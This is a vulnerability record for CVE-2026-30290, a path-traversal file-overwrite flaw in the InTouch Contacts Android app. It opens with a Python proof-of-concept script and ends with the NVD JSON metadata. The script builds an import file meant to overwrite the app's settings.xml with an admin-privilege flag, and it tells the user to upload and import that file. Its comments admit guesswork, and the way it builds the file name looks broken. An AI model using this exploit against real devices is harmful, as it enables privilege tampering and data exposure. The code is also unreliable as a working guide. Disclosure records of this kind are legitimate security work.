CVE-2026-30290

import os # PoC for CVE-2026-30290: Arbitrary File Overwrite via File Import # Description: This script generates a malicious file intended to overwrite # a critical internal file via path traversal when imported by the vulnerable app. def generate_poc(): # Define the target internal file path using path traversal sequences # Note: The actual path depends on the app's data directory structure. traversal_sequence = "../../../data/data/com.intouch.app/shared_prefs/settings.xml" # Malicious content to be written (e.g., enabling admin privileges) payload = "<boolean name='is_admin' value='true'/>" # Create a file with the traversal sequence in the name or content # Depending on the specific implementation details of the import function. poc_filename = f"contacts_backup_{traversal_sequence}.xml" with open(poc_filename, 'w') as f: f.write(payload) print(f"[+] PoC file generated: {poc_filename}") print(f"[+] Attempting to overwrite: {traversal_sequence}") print("[+] Upload this file to the device and import it via InTouch App.") if __name__ == "__main__": generate_poc()

{"cve": {"id": "CVE-2026-30290", "sourceIdentifier": "[email protected]", "published": "2026-03-31T20:16:26.670", "lastModified": "2026-04-07T16:11:04.630", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file overwrite vulnerability in InTouch Contacts & Caller ID APP v6.38.1 allows attackers to overwrite critical internal files via the file import process, leading to arbitrary code execution or information exposure."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:intouchapp:intouch_contacts_\\&_caller_id:6.38.1:*:*:*:*:android:*:*", "matchCriteriaId": "CC5EECA3-F5B4-4A89-947D-3C61F3BAE4B3"}]}]}], "references": [{"url": "https://github.com/Secsys-FDU/AF_CVEs/issues/19", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://secsys.fudan.edu.cn/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.intouchapp.com/", "source": "[email protected]", "tags": ["Product"]}]}}